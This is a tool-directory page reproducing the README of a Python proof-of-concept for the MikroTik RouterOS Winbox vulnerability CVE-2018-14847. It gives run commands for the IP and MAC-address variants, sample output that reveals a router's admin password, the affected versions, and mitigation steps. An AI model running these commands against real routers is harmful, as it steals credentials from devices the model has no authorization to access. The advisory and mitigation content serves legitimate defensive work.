Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Python-MikrotikLoginExploit — PoC of CVE-2018-14847 Mikrotik Vulnerability using simple script | Kitploit
Tools/GitHubGitHub/sinichi449/python-mikrotikloginexploit
ReconnaissancePassword AttacksVulnerability AnalysisExploitationInformation GatheringNetwork Security
GitHubsinichi449/python-mikrotikloginexploit

Python-MikrotikLoginExploit

PoC of CVE-2018-14847 Mikrotik Vulnerability using simple script

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
21276 years agoReviewed by Kitploit

Mikrotik Login Exploit

PoC (Proof of Concept) of the Mikrotik vulnerability CVE-2018-14847 (especially on Winbox), which works by reading passwords directly from RouterOS on the default port 8291.

Original by: https://github.com/BigNerd95/

Requirements

  • Python 3+

Installation on Linux

root@kitploit:~
apt install python3

Usage Examples

WinBox (TCP/IP)

root@kitploit:~
python3 WinboxExploit.py <IP-ADDRESS> [PORT]

e.g:

root@kitploit:~
$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123

Using MAC Address

You can use this script even without an IP address.

Use MACServerDiscovery.py to scan for routers.

root@kitploit:~
python3 MACServerDiscover.py

e.g:

root@kitploit:~
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploitation:

root@kitploit:~
python3 MACServerExploit.py <MAC-ADDRESS>

e.g:

root@kitploit:~
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: oppaidaisuki123

Vulnerable Versions

RouterOS releases from 2015-05-28 to 2018-04-20

RouterOS versions:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42
  • Beta: 6.29rc1 - 6.43rc3

More info: https://blog.mikrotik.com/security/winbox-vulnerability.html

Exploit Prevention

  • Upgrade RouterOS to 6.42+
  • Disable Winbox
  • Block service:
root@kitploit:~
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
  • Filter Rules (ACL), block port 8291:
root@kitploit:~
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
  • Limit Winbox login access by MAC Address:
root@kitploit:~
/tool mac-server mac-winbox
Download Tool